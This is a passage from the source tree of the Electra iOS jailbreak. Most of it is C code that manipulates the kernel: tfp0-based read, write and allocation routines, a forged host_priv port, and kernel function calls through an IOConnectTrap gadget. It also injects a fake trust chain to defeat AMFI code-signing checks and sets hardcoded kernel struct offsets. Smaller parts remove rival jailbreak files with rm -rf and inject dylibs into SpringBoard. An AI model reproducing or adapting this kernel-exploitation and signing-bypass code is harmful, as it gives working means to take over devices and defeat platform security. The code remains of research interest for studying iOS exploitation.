size_cs; 81 | fread(&size_cs, sizeof(uint32_t), 1, fd); 82 | 83 | uint8_t *cd = malloc(size_cs); 84 | fseek(fd, off_cs, SEEK_SET); 85 | fread(cd, size_cs, 1, fd); 86 | return cd; 87 | } else { 88 | off += cmd.cmdsize; 89 | } 90 | } 91 | return NULL; 92 | } 93 | 94 | void inject_trusts(int pathc, const char *paths[]) { 95 | static uint64_t tc = 0; 96 | if (tc == 0) tc = find_trustcache(); 97 | 98 | struct trust_chain fake_chain; 99 | fake_chain.next = rk64(tc); 100 | *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe; 101 | *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe; 102 | 103 | int cnt = 0; 104 | uint8_t hash[CC_SHA256_DIGEST_LENGTH]; 105 | hash_t *allhash = malloc(sizeof(hash_t) * pathc); 106 | for (int i = 0; i != pathc; ++i) { 107 | uint8_t *cd = getCodeDirectory(paths[i]); 108 | if (cd != NULL) { 109 | getSHA256inplace(cd, hash); 110 | memmove(allhash[cnt], hash, sizeof(hash_t)); 111 | ++cnt; 112 | } 113 | } 114 | 115 | fake_chain.count = cnt; 116 | 117 | size_t length = (sizeof(fake_chain) + cnt * sizeof(hash_t) + 0xFFFF) & ~0xFFFF; 118 | uint64_t kernel_trust = kalloc(length); 119 | 120 | kwrite(kernel_trust, &fake_chain, sizeof(fake_chain)); 121 | kwrite(kernel_trust + sizeof(fake_chain), allhash, cnt * sizeof(hash_t)); 122 | wk64(tc, kernel_trust); 123 | } 124 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/amfi_utils.h: -------------------------------------------------------------------------------- 1 | // 2 | // amfi_utils.h 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef amfi_utils_h 10 | #define amfi_utils_h 11 | 12 | #include 13 | 14 | void getSHA256inplace(const uint8_t* code_dir, uint8_t *out); 15 | uint8_t *getSHA256(const uint8_t* code_dir); 16 | uint8_t *getCodeDirectory(const char* name); 17 | 18 | // thx hieplpvip 19 | void inject_trusts(int pathc, const char *paths[]); 20 | 21 | // Trust cache types 22 | typedef char hash_t[20]; 23 | 24 | struct trust_chain { 25 | uint64_t next; 26 | unsigned char uuid[16]; 27 | unsigned int count; 28 | } __attribute__((packed)); 29 | 30 | /* 31 | Note this patch still came from @xerub's KPPless branch, but detailed below is kind of my adventures which I rediscovered most of what he did 32 | 33 | So, as said on twitter by @Morpheus______, iOS 11 now uses SHA256 for code signatures, rather than SHA1 like before. 34 | What confuses me though is that I believe the overall CDHash is SHA1, but each subhash is SHA256. In AMFI.kext, the memcmp 35 | used to check between the current hash and the hashes in the cache seem to be this CDHash. So the question is do I really need 36 | to get every hash, or just the main CDHash and insert that one into the trust chain? 37 | 38 | If we look at the trust chain code checker (0xFFFFFFF00637B3E8 6+ 11.1.2), it is pretty basic. The trust chain is in the format of 39 | the following (struct from xerub, but I've checked with AMFI that it is the case): 40 | 41 | struct trust_mem { 42 | uint64_t next; // +0x00 - the next struct trust_mem 43 | unsigned char uuid[16]; // +0x08 - The uuid of the trust_mem (it doesn't seem important or checked apart from when importing a new trust chain) 44 | unsigned int count; // +0x18 - Number of hashes there are 45 | unsigned char hashes[]; // +0x1C - The hashes 46 | } 47 | 48 | The trust chain checker does the following: 49 | - Find the first struct that has a count > 0 50 | - Loop through all the hashes in the struct, comparing with the current hash 51 | - Keeps going through each chain, then when next is 0, it finishes 52 | 53 | UPDATE: a) was using an old version of JTool. Now I realised the CDHash is SHA256 54 | b) For launchd (whose hash resides in the AMFI cache), the first byte is used as an index sort of thing, and the next *19* bytes are used for the check 55 | This probably means that only the first 20 bytes of the CDHash are used in the trust cache check 56 | 57 | So our execution method is as follows: 58 | - Calculate the CD Hashes for the target resources that we want to play around with 59 | - Create a custom trust chain struct, and insert it into the existing trust chain - only storing the first 20 bytes of each hash 60 | - ??? PROFIT 61 | */ 62 | 63 | #endif /* amfi_utils_h */ 64 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/file_utils.c: -------------------------------------------------------------------------------- 1 | // 2 | // file_utils.c 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "file_utils.h" 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int file_exists(const char *filename) { 16 | struct stat buffer; 17 | int r = stat(filename, &buffer); 18 | return (r == 0); 19 | } 20 | 21 | int cp(const char *to, const char *from) { 22 | int fd_to, fd_from; 23 | char buf[4096]; 24 | ssize_t nread; 25 | int saved_errno; 26 | 27 | fd_from = open(from, O_RDONLY); 28 | if (fd_from < 0) 29 | return -1; 30 | 31 | fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666); 32 | if (fd_to < 0) 33 | goto out_error; 34 | 35 | while ((nread = read(fd_from, buf, sizeof buf)) > 0) { 36 | char *out_ptr = buf; 37 | ssize_t nwritten; 38 | 39 | do { 40 | nwritten = write(fd_to, out_ptr, nread); 41 | 42 | if (nwritten >= 0) { 43 | nread -= nwritten; 44 | out_ptr += nwritten; 45 | } 46 | else if (errno != EINTR) { 47 | goto out_error; 48 | } 49 | } while (nread > 0); 50 | } 51 | 52 | if (nread == 0) 53 | { 54 | if (close(fd_to) < 0) 55 | { 56 | fd_to = -1; 57 | goto out_error; 58 | } 59 | close(fd_from); 60 | 61 | /* Success! */ 62 | return 0; 63 | } 64 | 65 | out_error: 66 | saved_errno = errno; 67 | 68 | close(fd_from); 69 | if (fd_to >= 0) 70 | close(fd_to); 71 | 72 | errno = saved_errno; 73 | return -1; 74 | } 75 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/file_utils.h: -------------------------------------------------------------------------------- 1 | // 2 | // file_utils.h 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef file_utils_h 10 | #define file_utils_h 11 | 12 | #include 13 | 14 | int file_exists(const char *filename); 15 | int cp(const char *to, const char *from); 16 | 17 | #endif /* file_utils_h */ 18 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/kutils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "kutils.h" 7 | #include "kmem.h" 8 | #include "find_port.h" 9 | #include "symbols.h" 10 | 11 | uint64_t cached_task_self_addr = 0; 12 | uint64_t task_self_addr() { 13 | if (cached_task_self_addr == 0) { 14 | cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND); 15 | printf("task self: 0x%llx\n", cached_task_self_addr); 16 | } 17 | return cached_task_self_addr; 18 | } 19 | 20 | uint64_t ipc_space_kernel() { 21 | return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 22 | } 23 | 24 | uint64_t current_thread() { 25 | uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND); 26 | return rk64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 27 | } 28 | 29 | uint64_t find_kernel_base() { 30 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); 31 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 32 | 33 | uint64_t base = realhost & ~0xfffULL; 34 | // walk down to find the magic: 35 | for (int i = 0; i < 0x10000; i++) { 36 | if (rk32(base) == 0xfeedfacf) { 37 | return base; 38 | } 39 | base -= 0x1000; 40 | } 41 | return 0; 42 | } 43 | mach_port_t fake_host_priv_port = MACH_PORT_NULL; 44 | 45 | // build a fake host priv port 46 | mach_port_t fake_host_priv() { 47 | if (fake_host_priv_port != MACH_PORT_NULL) { 48 | return fake_host_priv_port; 49 | } 50 | // get the address of realhost: 51 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); 52 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 53 | 54 | // allocate a port 55 | mach_port_t port = MACH_PORT_NULL; 56 | kern_return_t err; 57 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 58 | if (err != KERN_SUCCESS) { 59 | printf("failed to allocate port\n"); 60 | return MACH_PORT_NULL; 61 | } 62 | 63 | // get a send right 64 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 65 | 66 | // locate the port 67 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND); 68 | 69 | // change the type of the port 70 | #define IKOT_HOST_PRIV 4 71 | #define IO_ACTIVE 0x80000000 72 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV); 73 | 74 | // change the space of the port 75 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 76 | 77 | // set the kobject 78 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost); 79 | 80 | fake_host_priv_port = port; 81 | 82 | return port; 83 | } 84 | 85 | extern mach_port_t tfpzero; 86 | 87 | size_t kread(uint64_t where, void *p, size_t size) { 88 | int rv; 89 | size_t offset = 0; 90 | while (offset < size) { 91 | mach_vm_size_t sz, chunk = 2048; 92 | if (chunk > size - offset) { 93 | chunk = size - offset; 94 | } 95 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 96 | if (rv || sz == 0) { 97 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 98 | break; 99 | } 100 | offset += sz; 101 | } 102 | return offset; 103 | } 104 | 105 | size_t kwrite(uint64_t where, const void *p, size_t size) { 106 | int rv; 107 | size_t offset = 0; 108 | while (offset < size) { 109 | size_t chunk = 2048; 110 | if (chunk > size - offset) { 111 | chunk = size - offset; 112 | } 113 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 114 | if (rv) { 115 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 116 | break; 117 | } 118 | offset += chunk; 119 | } 120 | return offset; 121 | } 122 | 123 | uint64_t kalloc(vm_size_t size) { 124 | mach_vm_address_t address = 0; 125 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 126 | return address; 127 | } 128 | 129 | uint64_t kexecute(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 130 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 131 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 132 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 133 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 134 | // through like normal. 135 | 136 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 137 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 138 | // (i'm not actually sure if the switch back is necessary but meh) 139 | 140 | uint64_t offx20 = rk64(fake_client+0x40); 141 | uint64_t offx28 = rk64(fake_client+0x48); 142 | wk64(fake_client+0x40, x0); 143 | wk64(fake_client+0x48, addr); 144 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 145 | wk64(fake_client+0x40, offx20); 146 | wk64(fake_client+0x48, offx28); 147 | return returnval; 148 | } 149 | 150 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/kutils.h: -------------------------------------------------------------------------------- 1 | #ifndef kutils_h 2 | #define kutils_h 3 | 4 | #include 5 | #include "IOKit.h" 6 | 7 | uint64_t task_self_addr(void); 8 | uint64_t ipc_space_kernel(void); 9 | uint64_t find_kernel_base(void); 10 | 11 | uint64_t current_thread(void); 12 | 13 | mach_port_t fake_host_priv(void); 14 | 15 | size_t kread(uint64_t where, void *p, size_t size); 16 | size_t kwrite(uint64_t where, const void *p, size_t size); 17 | uint64_t kalloc(vm_size_t size); 18 | uint64_t kexecute(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 19 | 20 | #endif /* kutils_h */ 21 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/offsetof.c: -------------------------------------------------------------------------------- 1 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 2 | unsigned offsetof_task = 0x18; // proc_t::task 3 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 4 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 5 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 6 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 7 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 8 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 9 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 10 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp 11 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff 12 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype 13 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype 14 | unsigned offsetof_special = 2 * sizeof(long); // host::special 15 | 16 | unsigned offsetof_v_type = 0x70; // vnode::v_type 17 | unsigned offsetof_v_id = 0x74; // vnode::v_id 18 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 19 | unsigned offsetof_v_mount = 0xd8; // vnode::v_mount 20 | 21 | unsigned offsetof_mnt_flag = 0x70; // mount::mnt_flag 22 | 23 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 24 | 25 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 26 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 27 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 28 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 29 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 30 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary 31 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path 32 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/offsetof.h: -------------------------------------------------------------------------------- 1 | extern unsigned offsetof_p_pid; 2 | extern unsigned offsetof_task; 3 | extern unsigned offsetof_p_ucred; 4 | extern unsigned offsetof_p_csflags; 5 | extern unsigned offsetof_itk_self; 6 | extern unsigned offsetof_itk_sself; 7 | extern unsigned offsetof_itk_bootstrap; 8 | extern unsigned offsetof_ip_mscount; 9 | extern unsigned offsetof_ip_srights; 10 | extern unsigned offsetof_p_textvp; 11 | extern unsigned offsetof_p_textoff; 12 | extern unsigned offsetof_p_cputype; 13 | extern unsigned offsetof_p_cpu_subtype; 14 | extern unsigned offsetof_special; 15 | 16 | extern unsigned offsetof_v_type; 17 | extern unsigned offsetof_v_id; 18 | extern unsigned offsetof_v_ubcinfo; 19 | extern unsigned offsetof_v_mount; 20 | 21 | extern unsigned offsetof_mnt_flag; 22 | 23 | extern unsigned offsetof_ubcinfo_csblobs; 24 | 25 | extern unsigned offsetof_csb_cputype; 26 | extern unsigned offsetof_csb_flags; 27 | extern unsigned offsetof_csb_base_offset; 28 | extern unsigned offsetof_csb_entitlements_offset; 29 | extern unsigned offsetof_csb_signer_type; 30 | extern unsigned offsetof_csb_platform_binary; 31 | extern unsigned offsetof_csb_platform_path; 32 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/topangadetect.c: -------------------------------------------------------------------------------- 1 | // 2 | // topangadetect.c 3 | // electra 4 | // 5 | // Created by CoolStar on 2/12/18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "topangadetect.h" 10 | #include "file_utils.h" 11 | 12 | bool topangaInstalled(){ 13 | if (file_exists("/bin/bash")) 14 | return true; 15 | if (file_exists("/bin/cat")) 16 | return true; 17 | if (file_exists("/bin/cp")) 18 | return true; 19 | if (file_exists("/bin/grep")) 20 | return true; 21 | if (file_exists("/bin/uname")) 22 | return true; 23 | if (file_exists("/Library/LaunchDaemons/0.reload.plist")) 24 | return true; 25 | if (file_exists("/Library/LaunchDaemons/dropbear.plist")) 26 | return true; 27 | if (file_exists("/usr/bin/uicache")) 28 | return true; 29 | if (file_exists("/usr/bin/uiduid")) 30 | return true; 31 | if (file_exists("/usr/lib/libapt-inst.dylib")) 32 | return true; 33 | if (file_exists("/usr/lib/apt/methods/http")) 34 | return true; 35 | if (file_exists("/usr/lib/apt")) 36 | return true; 37 | if (file_exists("/usr/libexec/cydia/cydo")) 38 | return true; 39 | if (file_exists("/usr/libexec/reload")) 40 | return true; 41 | if (file_exists("/usr/sbin/iostat")) 42 | return true; 43 | return false; 44 | } 45 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/topangadetect.h: -------------------------------------------------------------------------------- 1 | // 2 | // topangadetect.h 3 | // electra 4 | // 5 | // Created by CoolStar on 2/12/18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef topangadetect_h 10 | #define topangadetect_h 11 | 12 | #include 13 | 14 | bool topangaInstalled(void); 15 | 16 | #endif /* topangadetect_h */ 17 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/unliberios.c: -------------------------------------------------------------------------------- 1 | // 2 | // unliberios.c 3 | // electra 4 | // 5 | // Created by CoolStar on 2/12/18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "unliberios.h" 10 | #include "file_utils.h" 11 | #include 12 | #include 13 | #include 14 | 15 | bool checkLiberiOS(){ 16 | if (file_exists("/jb")) 17 | return true; 18 | if (file_exists("/bin/zsh")) 19 | return true; 20 | if (file_exists("/etc/motd")) 21 | return true; 22 | return false; 23 | } 24 | 25 | void removeLiberiOS(){ 26 | //From removeMe.sh 27 | 28 | int rv; 29 | pid_t pd; 30 | 31 | unlink("/etc/motd"); 32 | unlink("/.cydia_no_stash"); 33 | 34 | rv = posix_spawn(&pd, "/bootstrap/bin/rm", NULL, NULL, (char **)&(const char*[]){ "rm", "-rf", "/Applications/Cydia.app", NULL }, NULL); 35 | waitpid(pd, NULL, 0); 36 | 37 | rv = posix_spawn(&pd, "/bootstrap/bin/rm", NULL, NULL, (char **)&(const char*[]){ "rm", "-rf", "/usr/share/terminfo", NULL }, NULL); 38 | waitpid(pd, NULL, 0); 39 | 40 | rv = posix_spawn(&pd, "/bootstrap/bin/rm", NULL, NULL, (char **)&(const char*[]){ "rm", "-rf", "/usr/local", NULL }, NULL); 41 | waitpid(pd, NULL, 0); 42 | 43 | unlink("/bin/zsh"); 44 | unlink("/etc/profile"); 45 | unlink("/etc/zshrc"); 46 | 47 | unlink("/usr/bin/scp"); //missing from removeMe.sh oddly 48 | 49 | rv = posix_spawn(&pd, "/bootstrap/bin/rm", NULL, NULL, (char **)&(const char*[]){ "rm", "-rf", "/jb", NULL }, NULL); 50 | waitpid(pd, NULL, 0); 51 | } 52 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/unliberios.h: -------------------------------------------------------------------------------- 1 | // 2 | // unliberios.h 3 | // electra 4 | // 5 | // Created by CoolStar on 2/12/18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef unliberios_h 10 | #define unliberios_h 11 | 12 | #include 13 | 14 | bool checkLiberiOS(void); 15 | void removeLiberiOS(void); 16 | 17 | #endif /* unliberios_h */ 18 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/utils.c: -------------------------------------------------------------------------------- 1 | // 2 | // utils.c 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "utils.h" 10 | #include 11 | #include 12 | #include 13 | 14 | #define BOOTSTRAP_PREFIX "/bootstrap" 15 | 16 | // Thanks @nitotv 17 | // https://ghostbin.com/paste/rmvp5 18 | int run(const char *cmd) { 19 | pid_t pid; 20 | int rv; 21 | 22 | char *environ[] = { 23 | "BOOTSTRAP_PREFIX=/"BOOTSTRAP_PREFIX"", 24 | "PATH=/"BOOTSTRAP_PREFIX"/usr/local/bin:/"BOOTSTRAP_PREFIX"/usr/sbin:/"BOOTSTRAP_PREFIX"/usr/bin:/"BOOTSTRAP_PREFIX"/sbin:/"BOOTSTRAP_PREFIX"/bin:/bin:/usr/bin:/sbin:/usr/sbin" 25 | }; 26 | 27 | char *argv[] = {"sh", "-c", (char*)cmd, NULL}; 28 | rv = posix_spawn(&pid, "/bootstrap/bin/sh", NULL, NULL, argv, environ); 29 | 30 | if (rv == 0) { 31 | if (waitpid(pid, &rv, 0) == -1) 32 | perror("waitpid"); 33 | } 34 | 35 | return rv; 36 | } 37 | 38 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/utils.h: -------------------------------------------------------------------------------- 1 | // 2 | // utils.h 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef utils_h 10 | #define utils_h 11 | 12 | #include 13 | 14 | int run(const char *cmd); 15 | 16 | #endif /* utils_h */ 17 | -------------------------------------------------------------------------------- /libsubstrate/Makefile: -------------------------------------------------------------------------------- 1 | ARCHS=arm64 2 | include $(THEOS)/makefiles/common.mk 3 | 4 | LIBRARY_NAME = libsubstrate 5 | libsubstrate_FILES = libsubstrate.c 6 | libsubstrate_LIBRARIES = substitute objc 7 | 8 | include $(THEOS_MAKE_PATH)/library.mk 9 | -------------------------------------------------------------------------------- /libsubstrate/control: -------------------------------------------------------------------------------- 1 | Package: org.coolstar.substrate-substitute-shim 2 | Name: libsubstrate 3 | Depends: 4 | Version: 0.0.1 5 | Architecture: iphoneos-arm 6 | Description: An awesome library of some sort!! 7 | Maintainer: CoolStar 8 | Author: CoolStar 9 | Section: System 10 | Tag: role::developer 11 | -------------------------------------------------------------------------------- /libsubstrate/libsubstrate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | extern void *SubGetImageByName(const char *filename) __asm__("SubGetImageByName");; 6 | void *MSGetImageByName(const char *filename) { 7 | return SubGetImageByName(filename); 8 | } 9 | 10 | extern void *SubFindSymbol(void *image, const char *name) __asm__("SubFindSymbol"); 11 | void *MSFindSymbol(void *image, const char *name) { 12 | return SubFindSymbol(image, name); 13 | } 14 | 15 | extern void SubHookFunction(void *symbol, void *replace, void **result) __asm__("SubHookFunction"); 16 | void MSHookFunction(void *symbol, void *replace, void **result) { 17 | SubHookFunction(symbol, replace, result); 18 | } 19 | 20 | extern void SubHookMessageEx(Class _class, SEL sel, IMP imp, IMP *result) __asm__("SubHookMessageEx"); 21 | void MSHookMessageEx(Class _class, SEL sel, IMP imp, IMP *result) { 22 | if (class_getInstanceMethod(_class, sel) || class_getClassMethod(_class, sel)) { 23 | SubHookMessageEx(_class, sel, imp, result); 24 | } else { 25 | os_log_error(OS_LOG_DEFAULT, "libsubstrate-shim: Tried to hook non-existent selector %s on class %s", 26 | sel_getName(sel), class_getName(_class)); 27 | if (result) *result = NULL; 28 | } 29 | } 30 | 31 | // i don't think anyone uses this function anymore, but it's here for completeness 32 | void MSHookClassPair(Class _class, Class hook, Class old) { 33 | unsigned int n_methods = 0; 34 | Method *hooks = class_copyMethodList(hook, &n_methods); 35 | 36 | for (unsigned int i = 0; i < n_methods; ++i) { 37 | SEL selector = method_getName(hooks[i]); 38 | const char *what = method_getTypeEncoding(hooks[i]); 39 | 40 | Method old_mptr = class_getInstanceMethod(old, selector); 41 | Method cls_mptr = class_getInstanceMethod(_class, selector); 42 | 43 | if (cls_mptr) { 44 | class_addMethod(old, selector, method_getImplementation(hooks[i]), what); 45 | method_exchangeImplementations(cls_mptr, old_mptr); 46 | } else { 47 | class_addMethod(_class, selector, method_getImplementation(hooks[i]), what); 48 | } 49 | } 50 | 51 | free(hooks); 52 | } 53 | -------------------------------------------------------------------------------- /sbinject/Makefile: -------------------------------------------------------------------------------- 1 | ARCHS=arm64 2 | include $(THEOS)/makefiles/common.mk 3 | 4 | TWEAK_NAME = SBInject 5 | SBInject_FILES = SBInject.x 6 | SBInject_USE_SUBSTRATE=0 7 | 8 | include $(THEOS_MAKE_PATH)/tweak.mk 9 | -------------------------------------------------------------------------------- /sbinject/SBInject.x: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | #import 6 | #import 7 | #import 8 | #import 9 | 10 | #define dylibDir @"/bootstrap/Library/SBInject" 11 | 12 | NSArray *sbinjectGenerateDylibList() { 13 | NSString *processName = [[NSProcessInfo processInfo] processName]; 14 | // launchctl, amfid you are special cases 15 | if ([processName isEqualToString:@"launchctl"]) { 16 | return nil; 17 | } 18 | if ([processName isEqualToString:@"amfid"]) { 19 | return nil; 20 | } 21 | // Create an array containing all the filenames in dylibDir (/opt/simject) 22 | NSError *e = nil; 23 | NSArray *dylibDirContents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:dylibDir error:&e]; 24 | if (e) { 25 | return nil; 26 | } 27 | // Read current bundle identifier 28 | //NSString *bundleIdentifier = NSBundle.mainBundle.bundleIdentifier; 29 | // We're only interested in the plist files 30 | NSArray *plists = [dylibDirContents filteredArrayUsingPredicate:[NSPredicate predicateWithFormat:@"SELF ENDSWITH %@", @"plist"]]; 31 | // Create an empty mutable array that will contain a list of dylib paths to be injected into the target process 32 | NSMutableArray *dylibsToInject = [NSMutableArray array]; 33 | // Loop through the list of plists 34 | for (NSString *plist in plists) { 35 | // We'll want to deal with absolute paths, so append the filename to dylibDir 36 | NSString *plistPath = [dylibDir stringByAppendingPathComponent:plist]; 37 | NSDictionary *filter = [NSDictionary dictionaryWithContentsOfFile:plistPath]; 38 | // This boolean indicates whether or not the dylib has already been injected 39 | BOOL isInjected = NO; 40 | // If supported iOS versions are specified within the plist, we check those first 41 | NSArray *supportedVersions = filter[@"CoreFoundationVersion"]; 42 | if (supportedVersions) { 43 | if (supportedVersions.count != 1 && supportedVersions.count != 2) { 44 | continue; // Supported versions are in the wrong format, we should skip 45 | } 46 | if (supportedVersions.count == 1 && [supportedVersions[0] doubleValue] > kCFCoreFoundationVersionNumber) { 47 | continue; // Doesn't meet lower bound 48 | } 49 | if (supportedVersions.count == 2 && ([supportedVersions[0] doubleValue] > kCFCoreFoundationVersionNumber || [supportedVersions[1] doubleValue] <= kCFCoreFoundationVersionNumber)) { 50 | continue; // Outside bounds 51 | } 52 | } 53 | // Decide whether or not to load the dylib based on the Bundles values 54 | for (NSString *entry in filter[@"Filter"][@"Bundles"]) { 55 | // Check to see whether or not this bundle is actually loaded in this application or not 56 | if (!CFBundleGetBundleWithIdentifier((CFStringRef)entry)) { 57 | // If not, skip it 58 | continue; 59 | } 60 | [dylibsToInject addObject:[[plistPath stringByDeletingPathExtension] stringByAppendingString:@".dylib"]]; 61 | isInjected = YES; 62 | break; 63 | } 64 | if (!isInjected) { 65 | // Decide whether or not to load the dylib based on the Executables values 66 | for (NSString *process in filter[@"Filter"][@"Executables"]) { 67 | if ([process isEqualToString:processName]) { 68 | [dylibsToInject addObject:[[plistPath stringByDeletingPathExtension] stringByAppendingString:@".dylib"]]; 69 | isInjected = YES; 70 | break; 71 | } 72 | } 73 | } 74 | if (!isInjected) { 75 | // Decide whether or not to load the dylib based on the Classes values 76 | for (NSString *clazz in filter[@"Filter"][@"Classes"]) { 77 | // Also check if this class is loaded in this application or not 78 | if (!NSClassFromString(clazz)) { 79 | // This class couldn't be loaded, skip 80 | continue; 81 | } 82 | // It's fine to add this dylib at this point 83 | [dylibsToInject addObject:[[plistPath stringByDeletingPathExtension] stringByAppendingString:@".dylib"]]; 84 | isInjected = YES; 85 | break; 86 | } 87 | } 88 | } 89 | [dylibsToInject sortUsingSelector:@selector(caseInsensitiveCompare:)]; 90 | return dylibsToInject; 91 | } 92 | 93 | void SpringBoardSigHandler(int signo, siginfo_t *info, void *uap){ 94 | NSLog(@"Received signal %d", signo); 95 | 96 | FILE *f = fopen("/var/mobile/.sbinjectSafeMode", "w"); 97 | fprintf(f, "Hello World\n"); 98 | fclose(f); 99 | 100 | raise(signo); 101 | } 102 | 103 | int file_exist(char *filename) { 104 | struct stat buffer; 105 | int r = stat(filename, &buffer); 106 | return (r == 0); 107 | } 108 | 109 | @interface SpringBoard : UIApplication 110 | - (BOOL)launchApplicationWithIdentifier:(NSString *)identifier suspended:(BOOL)suspended; 111 | @end 112 | 113 | %group SafeMode 114 | %hook SBLockScreenViewController 115 | -(void)finishUIUnlockFromSource:(int)source { 116 | %orig; 117 | [(SpringBoard *)[%c(UIApplication) sharedApplication] launchApplicationWithIdentifier:@"org.coolstar.SafeMode" suspended:NO]; 118 | } 119 | %end 120 | 121 | %hook SBDashBoardViewController 122 | 